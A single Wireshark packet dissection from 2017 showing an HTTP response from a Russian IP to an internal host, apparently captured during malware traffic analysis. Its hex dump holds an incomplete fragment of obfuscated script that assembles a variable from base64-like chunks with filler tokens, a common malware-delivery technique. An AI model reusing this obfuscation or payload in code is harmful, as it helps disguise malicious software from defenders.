Frame 204: Packet, 1328 bytes on wire (10624 bits), 1328 bytes captured (10624 bits) Encapsulation type: Ethernet (1) Arrival Time: Nov 21, 2017 01:00:43.571025000 UTC UTC Arrival Time: Nov 21, 2017 01:00:43.571025000 UTC Epoch Arrival Time: 1511226043.571025000 [Time shift for this packet: 0.000000000 seconds] [Time delta from previous captured frame: 601.000 microseconds] [Time since reference or first frame: 37.705285000 seconds] Frame Number: 204 Frame Length: 1328 bytes (10624 bits) Capture Length: 1328 bytes (10624 bits) [Frame is marked: False] [Frame is ignored: False] [Protocols in frame: eth:ethertype:ip:tcp:http:data] Character encoding: ASCII (0) Ethernet II, Src: Netgear_8d:2e:93 (74:44:01:8d:2e:93), Dst: HewlettPacka_d7:16:7c (00:1a:4b:d7:16:7c) Destination: HewlettPacka_d7:16:7c (00:1a:4b:d7:16:7c) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Source: Netgear_8d:2e:93 (74:44:01:8d:2e:93) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Type: IPv4 (0x0800) [Stream index: 0] Internet Protocol Version 4, Src: 109.120.150.110, Dst: 10.4.1.102 0100 .... = Version: 4 .... 0101 = Header Length: 20 bytes (5) Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT) 0000 00.. = Differentiated Services Codepoint: Default (0) .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0) Total Length: 1314 Identification: 0xc9c0 (51648) 000. .... = Flags: 0x0 0... .... = Reserved bit: Not set .0.. .... = Don't fragment: Not set ..0. .... = More fragments: Not set ...0 0000 0000 0000 = Fragment Offset: 0 Time to Live: 128 Protocol: TCP (6) Header Checksum: 0x5cc5 [validation disabled] [Header checksum status: Unverified] Source Address: 109.120.150.110 Destination Address: 10.4.1.102 [Source GeoIP: RU] [Source GeoIP Country: Russia] [Source or Destination GeoIP Country: Russia] [Source GeoIP ISO Two Letter Country Code: RU] [Source or Destination GeoIP ISO Two Letter Country Code: RU] [Source GeoIP Latitude: 55.7386] [Source or Destination GeoIP Latitude: 55.7386] [Source GeoIP Longitude: 37.6068] [Source or Destination GeoIP Longitude: 37.6068] [Stream index: 9] Transmission Control Protocol, Src Port: 80, Dst Port: 49161, Seq: 87117, Ack: 1678, Len: 1274 Source Port: 80 Destination Port: 49161 [Stream index: 4] [Stream Packet Number: 118] [Conversation completeness: Incomplete, DATA (15)] ..0. .... = RST: Absent ...0 .... = FIN: Absent .... 1... = Data: Present .... .1.. = ACK: Present .... ..1. = SYN-ACK: Present .... ...1 = SYN: Present [Completeness Flags: ··DASS] [TCP Segment Len: 1274] Sequence Number: 87117 (relative sequence number) Sequence Number (raw): 3620159532 [Next Sequence Number: 88391 (relative sequence number)] Acknowledgment Number: 1678 (relative ack number) Acknowledgment number (raw): 2557490690 0101 .... = Header Length: 20 bytes (5) Flags: 0x018 (PSH, ACK) 000. .... .... = Reserved: Not set ...0 .... .... = Accurate ECN: Not set .... 0... .... = Congestion Window Reduced: Not set .... .0.. .... = ECN-Echo: Not set .... ..0. .... = Urgent: Not set .... ...1 .... = Acknowledgment: Set .... .... 1... = Push: Set .... .... .0.. = Reset: Not set .... .... ..0. = Syn: Not set .... .... ...0 = Fin: Not set [TCP Flags: ·······AP···] Window: 64240 [Calculated window size: 64240] [Window size scaling factor: -2 (no window scaling used)] Checksum: 0x3ef2 [unverified] [Checksum Status: Unverified] Urgent Pointer: 0 [Timestamps] [Time since first frame in this TCP stream: 1.352155000 seconds] [Time since previous frame in this TCP stream: 601.000 microseconds] [SEQ/ACK analysis] [iRTT: 184.943000 milliseconds] [Bytes in flight: 1274] [Bytes sent since last PSH flag: 1274] [Client Contiguous Streams: 1] [Server Contiguous Streams: 1] TCP payload (1274 bytes) Hypertext Transfer Protocol File Data: 1274 bytes Data (1274 bytes) 0000 3b 67 6f 78 65 2b 3d 27 33 30 46 2f 59 39 6f 27 ;goxe+='30F/Y9o' 0010 3b 67 6f 78 65 2b 3d 27 47 68 78 52 36 6a 43 27 ;goxe+='GhxR6jC' 0020 3b 67 6f 78 65 2b 3d 27 4f 4d 50 41 54 5f 4d 4f ;goxe+='OMPAT_MO 0030 44 45 27 3b 67 6f 78 65 2b 3d 27 44 6f 34 53 4e DE';goxe+='Do4SN 0040 4e 27 3b 67 6f 78 65 2b 3d 27 68 68 4a 49 6c 74 N';goxe+='hhJIlt 0050 4f 51 54 27 3b 67 6f 78 65 2b 3d 27 4c 62 72 6b OQT';goxe+='Lbrk 0060 6b 32 32 30 32 6e 27 3b 67 6f 78 65 2b 3d 27 41 k2202n';goxe+='A 0070 72 74 54 62 63 53 27 3b 67 6f 78 65 2b 3d 27 71 rtTbcS';goxe+='q 0080 38 4e 74 31 46 73 27 3b 67 6f 78 65 2b 3d 27 77 8Nt1Fs';goxe+='w 0090 77 32 43 4f 4d 27 3b 67 6f 78 65 2b 3d 27 50 41 w2COM';goxe+='PA 00a0 54 5f 4d 4f 27 3b 67 6f 78 65 2b 3d 27 44 45 62 T_MO';goxe+='DEb 00b0 66 67 48 71 4c 43 27 3b 67 6f 78 65 2b 3d 27 4f fgHqLC';goxe+='O 00c0 4d 50 41 54 27 3b 67 6f 78 65 2b 3d 27 5f 4d 4f MPAT';goxe+='_MO 00d0 44 45 37 4a 79 27 3b 67 6f 78 65 2b 3d 27 6d 4e DE7Jy';goxe+='mN 00e0 66 4a 59 2b 75 4d 37 27 3b 67 6f 78 65 2b 3d 27 fJY+uM7';goxe+=' 00f0 51 42 39 63 5a 2b 75 27 3b 67 6f 78 65 2b 3d 27 QB9cZ+u';goxe+=' 0100 41 36 58 52 38 63 78 55 43 27 3b 67 6f 78 65 2b A6XR8cxUC';goxe+ 0110 3d 27 4f 4d 50 41 54 5f 4d 27 3b 67 6f 78 65 2b ='OMPAT_M';goxe+ 0120 3d 27 4f 44 45 53 64 41 27 3b 67 6f 78 65 2b 3d ='ODESdA';goxe+= 0130 27 4d 70 6b 44 45 72 52 45 49 27 3b 67 6f 78 65 'MpkDErREI';goxe 0140 2b 3d 27 71 71 59 6e 4e 27 3b 67 6f 78 65 2b 3d +='qqYnN';goxe+= 0150 27 74 35 6c 43 4f 4d 27 3b 67 6f 78 65 2b 3d 27 't5lCOM';goxe+=' 0160 50 41 54 5f 4d 4f 44 45 4f 41 27 3b 67 6f 78 65 PAT_MODEOA';goxe 0170 2b 3d 27 43 4f 4d 50 41 54 5f 4d 4f 27 3b 67 6f +='COMPAT_MO';go 0180 78 65 2b 3d 27 44 45 59 70 59 46 27 3b 67 6f 78 xe+='DEYpYF';gox 0190 65 2b 3d 27 6a 6f 43 6e 43 4f 4d 27 3b 67 6f 78 e+='joCnCOM';gox 01a0 65 2b 3d 27 50 41 54 5f 4d 4f 44 45 74 2f 27 3b e+='PAT_MODEt/'; 01b0 67 6f 78 65 2b 3d 27 42 2f 6d 75 76 2f 27 3b 67 goxe+='B/muv/';g 01c0 6f 78 65 2b 3d 27 4e 4a 64 62 63 31 6e 35 4d 27 oxe+='NJdbc1n5M' 01d0 3b 67 6f 78 65 2b 3d 27 71 54 4b 57 67 35 77 4d ;goxe+='qTKWg5wM 01e0 27 3b 67 6f 78 65 2b 3d 27 55 42 49 54 6d 38 27 ';goxe+='UBITm8' 01f0 3b 67 6f 78 65 2b 3d 27 66 4f 63 70 6e 6e 71 4c ;goxe+='fOcpnnqL 0200 50 27 3b 67 6f 78 65 2b 3d 27 67 66 45 35 4e 27 P';goxe+='gfE5N' 0210 3b 67 6f 78 65 2b 3d 27 44 35 58 39 57 63 27 3b ;goxe+='D5X9Wc'; 0220 67 6f 78 65 2b 3d 27 42 54 70 38 44 34 33 4e 27 goxe+='BTp8D43N' 0230 3b 67 6f 78 65 2b 3d 27 6f 66 4b 34 43 4f 4d 50 ;goxe+='ofK4COMP 0240 41 27 3b 67 6f 78 65 2b 3d 27 54 5f 4d 4f 44 45 A';goxe+='T_MODE 0250 6e 27 3b 67 6f 78 65 2b 3d 27 2f 32 47 2f 6c 77 n';goxe+='/2G/lw 0260 73 36 38 2f 27 3b 67 6f 78 65 2b 3d 27 6c 70 76 s68/';goxe+='lpv 0270 37 63 4d 75 71 27 3b 67 6f 78 65 2b 3d 27 76 47 7cMuq';goxe+='vG 0280 2f 42 68 27 3b 67 6f 78 65 2b 3d 27 53 33 2b 75 /Bh';goxe+='S3+u 0290 31 27 3b 67 6f 78 65 2b 3d 27 59 31 32 4f 2f 70 1';goxe+='Y12O/p 02a0 27 3b 67 6f 78 65 2b 3d 27 7a 71 43 4f 4d 50 41 ';goxe+='zqCOMPA 02b0 54 5f 4d 27 3b 67 6f 78 65 2b 3d 27 4f 44 45 30 T_M';goxe+='ODE0 02c0 2f 4e 34 77 36 27 3b 67 6f 78 65 2b 3d 27 79 30 /N4w6';goxe+='y0 02d0 58 39 75 57 6d 30 57 27 3b 67 6f 78 65 2b 3d 27 X9uWm0W';goxe+=' 02e0 36 73 59 2b 4a 51 4d 65 4b 27 3b 67 6f 78 65 2b 6sY+JQMeK';goxe+ 02f0 3d 27 50 2b 6c 74 48 33 68 6c 46 50 27 3b 67 6f ='P+ltH3hlFP';go 0300 78 65 2b 3d 27 78 63 43 6e 59 38 27 3b 67 6f 78 xe+='xcCnY8';gox 0310 65 2b 3d 27 43 33 44 58 79 27 3b 67 6f 78 65 2b e+='C3DXy';goxe+ 0320 3d 27 43 4f 4d 50 41 54 5f 4d 27 3b 67 6f 78 65 ='COMPAT_M';goxe 0330 2b 3d 27 4f 44 45 52 70 30 31 51 43 27 3b 67 6f +='ODERp01QC';go 0340 78 65 2b 3d 27 4f 4d 50 41 54 5f 4d 4f 44 45 27 xe+='OMPAT_MODE' 0350 3b 67 6f 78 65 2b 3d 27 79 63 38 4b 4f 74 35 42 ;goxe+='yc8KOt5B 0360 6c 6e 27 3b 67 6f 78 65 2b 3d 27 6b 37 64 35 38 ln';goxe+='k7d58 0370 4b 6a 78 27 3b 67 6f 78 65 2b 3d 27 57 4a 35 4f Kjx';goxe+='WJ5O 0380 6f 30 4e 72 27 3b 67 6f 78 65 2b 3d 27 34 49 2b o0Nr';goxe+='4I+ 0390 55 35 6c 51 77 4e 6f 27 3b 67 6f 78 65 2b 3d 27 U5lQwNo';goxe+=' 03a0 69 4b 48 69 55 67 78 52 75 72 27 3b 67 6f 78 65 iKHiUgxRur';goxe 03b0 2b 3d 27 67 4a 57 4f 77 43 71 67 27 3b 67 6f 78 +='gJWOwCqg';gox 03c0 65 2b 3d 27 33 79 41 57 6a 27 3b 67 6f 78 65 2b e+='3yAWj';goxe+ 03d0 3d 27 67 52 30 5a 78 50 46 4c 27 3b 67 6f 78 65 ='gR0ZxPFL';goxe 03e0 2b 3d 27 49 51 48 48 6a 63 33 7a 32 27 3b 67 6f +='IQHHjc3z2';go 03f0 78 65 2b 3d 27 32 62 54 64 72 27 3b 67 6f 78 65 xe+='2bTdr';goxe 0400 2b 3d 27 76 31 49 46 74 73 78 27 3b 67 6f 78 65 +='v1IFtsx';goxe 0410 2b 3d 27 45 44 78 4d 35 6c 4c 27 3b 67 6f 78 65 +='EDxM5lL';goxe 0420 2b 3d 27 4f 79 45 4d 32 30 7a 27 3b 67 6f 78 65 +='OyEM20z';goxe 0430 2b 3d 27 47 4c 31 45 36 43 4f 27 3b 67 6f 78 65 +='GL1E6CO';goxe 0440 2b 3d 27 4d 50 41 54 5f 4d 4f 27 3b 67 6f 78 65 +='MPAT_MO';goxe 0450 2b 3d 27 44 45 64 68 30 4b 36 59 39 69 27 3b 67 +='DEdh0K6Y9i';g 0460 6f 78 65 2b 3d 27 37 33 56 4a 6c 39 62 58 27 3b oxe+='73VJl9bX'; 0470 67 6f 78 65 2b 3d 27 66 67 45 6d 63 35 63 27 3b goxe+='fgEmc5c'; 0480 67 6f 78 65 2b 3d 27 63 44 51 45 47 6a 68 27 3b goxe+='cDQEGjh'; 0490 67 6f 78 65 2b 3d 27 41 7a 56 72 70 56 43 51 56 goxe+='AzVrpVCQV 04a0 27 3b 67 6f 78 65 2b 3d 27 6f 30 35 4b 2f 7a 39 ';goxe+='o05K/z9 04b0 27 3b 67 6f 78 65 2b 3d 27 58 4c 42 50 30 51 38 ';goxe+='XLBP0Q8 04c0 7a 78 27 3b 67 6f 78 65 2b 3d 27 46 4c 4a 41 6f zx';goxe+='FLJAo 04d0 36 66 27 3b 67 6f 78 65 2b 3d 27 56 36 36 6d 41 6f';goxe+='V66mA 04e0 68 63 5a 2b 43 27 3b 67 6f 78 65 2b 3d 27 4f 48 hcZ+C';goxe+='OH 04f0 41 4f 68 4e 39 36 49 33 27 3b AOhN96I3'; Data […]: 3b676f78652b3d273330462f59396f273b676f78652b3d2747687852366a43273b676f78652b3d274f4d5041545f4d4f4445273b676f78652b3d27446f34534e4e273b676f78652b3d2768684a496c744f5154273b676f78652b3d274c62726b6b323230326e273b676f78652b3d2741727 [Length: 1274]